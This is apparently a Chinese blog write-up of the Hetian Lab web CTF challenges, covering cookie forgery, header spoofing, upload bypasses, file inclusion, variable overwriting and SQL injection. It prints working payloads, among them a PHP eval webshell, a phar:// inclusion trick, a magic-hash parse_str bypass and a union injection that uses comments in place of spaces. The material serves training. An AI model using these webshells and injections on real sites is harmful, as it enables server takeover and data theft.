合天网安Web-CTF-WriteUp
Web-CTF-WriteUp
一、前言
旧文,师傅们随便看看
二、WriteUp
①、编码
1、神奇的磁带-WriteUp
②、HTTP基础
2、 就差一把钥匙
- 没什么东西 看看当前页面COOKIE
- 打开burp抓包
- 没什么东西,然后看了一下标题
- 打开终端扫一下目录
- 都指向console目录
- 根据经验发现XFF没跑了 burp抓包改包
拿到flag: flag{hetianlab-weekctf}
3、 迷了路
- 英国:en-gb
- 法国:fr-fr
- 德国:de-de
- 日本:ja-jp/jp
- 韩国:kr/kor 实测kr并不会返回信息
- 西班牙:es-es
- 瑞典:sv
拼接flag为:flag{Thisis_hetianlab@}
③、基础代码审计
4、 Check your source code
- 题目描述
- 访问网站
- 尝试一下admin admin 无果后查看源代码
- 审计题 定义俩变量
- 检查post user name 和password
- 等于
- 检查cookie是不是 check
- url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可
- 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天
- 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
- 抓包看到一个base64加密的cookie
- 解密后
- 这个88应该就是secret这个变量 那么把它加密
- 然后把包丢进repeater
- 名字改为check等于加密后的88
- 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie
flag{welcome_to_htlab}
④、文件上传
5、 Easy Upload
- 题目描述
- 访问网站
- 检查提交的源代码
- 新建文件
- 写入phpinfo
- 点击发送
Flag: flag{hetian@lab_com}
6、 套娃一样的文件上传
7、 再见上传
- 题目描述
- 访问网站
- 查看源码
- 源代码没有东西 直接整抓包上传8
- Uploads/后面加上UzJu.php%00 然后点击send发现还是不行
- 后来想了一下好像要改hex
flag{asdf_hetianlab_com}
8、 随意的上传
- 题目描述
- 访问网站
- 写一个phpinfo上传
- 过滤了<?php php使用Payload
<script language="pHp">@eval($_POST['UzJu'])</script>
- 上传后使用菜刀连接
Flag:flag{0123_4567_8901}
⑤、文件包含
9、试试phpinfo()吧
10、试试协议吧
- 题目描述
- 访问网站
- 彳亍 解密后
Flag: flag{abdc_1234_qwer_hetian} - Payload: php://filter/convert.base64encode/resource=flag.php
11、签到般的包含
- 访问网站
- 新建文件
- 打包成zip 然后将zip文件后缀名改为jpg
- 上传文件
- 在c盘下有菜刀工具 连接地址:http://10.1.1.147:5011/include.php?
file=phar://upload/test.jpg/1
flag{whoami_hetianlab_student}
⑥、XXE
12、simple xxe
13、blind xxe
⑦、SSRF
14、回显的SSRF
15、有点另类的SSRF
⑧、代码审计
16、给你丢了串代码
- 题目描述
- 访问网站
- 源代码
<?php include "flag.php"; $_403 = "Access Denied"; $_200 = "Welcome Admin"; if ($_SERVER["REQUEST_METHOD"] != "POST"){ //需要POST方法 die("hetianlab flag is here :biubiubiu"); }if (!isset($_POST["flag"])){ //需要POST参数=flag die($_403); }foreach ($_GET as $key => $value){ //遍历GET方法所传值 $$key = $$value; }foreach ($_POST as $key => $value){ //遍历POST方法所传值 $$key = $value; }if ($_POST["flag"] !== $flag){ die($_403); } echo "This is your flag : ". $flag . "\n"; die($_200); ?>
- 变量覆盖题
flag{hunan_hetian}
17、学会变量覆盖
查看源代码
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>学会变量覆盖</title> </head> <body> <!-- $flag='xxxx': extract($_GET): if (isset($gift)) Scontent =@trim(file_get_contents($flag)): if (Sgift = $content) echo"flag else echo ' oh . . ' ; --> </body> </html>
判断gift变量是否存在,否则执行判断
File_get_contents读取flag传给content
判断gift 是否等于content,如果等于content就输出flag构造gift=&flag= 两个值都为空,判断相等
flag{hetianlab}
18、Easy php
<?php
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($msg_giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($msg_getout);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
19、最后一道变量覆盖
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
if (empty($_GET['id']))
{
show_source(__FILE__);
die();
}
else
{
include ('flag.php');
$a = "www.hetianlab.com ";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
{
echo $flag;
}
else
{
exit('其实很简单其实并不难!');
}
}
?>
- Parse_str导致的变量覆盖
- Payload: http://10.1.1.147:5020/?id=a[0]=s878926199a
- Php参考:
https://www.cnblogs.com/xhds/p/12587249.html#_label2
https://www.cnblogs.com/xhds/p/12349189.html
⑨、SQL注入
20、你的空格哪去了
- 题目描述
- 访问网站
- 简单的查询代码 输入1
- 输入2
- 提示hacker! 可能过滤的’ 或者 and等
- 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格
- 尝试and后也没有过滤and
- 首先1’order//by//5#
- 发现没有信息 再尝试1’order//by//3#
- 然后使用-1’union//select//1,2,3#
- 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
- payload:-1’union//select//1,2,flag//from//flag#
Flag: flag{63564494cac7097c}
21、想想怎么绕过过滤吧
Flag:flag{ff98f887ddaaad88}
扫描二维码推送至手机访问。
版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。
SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'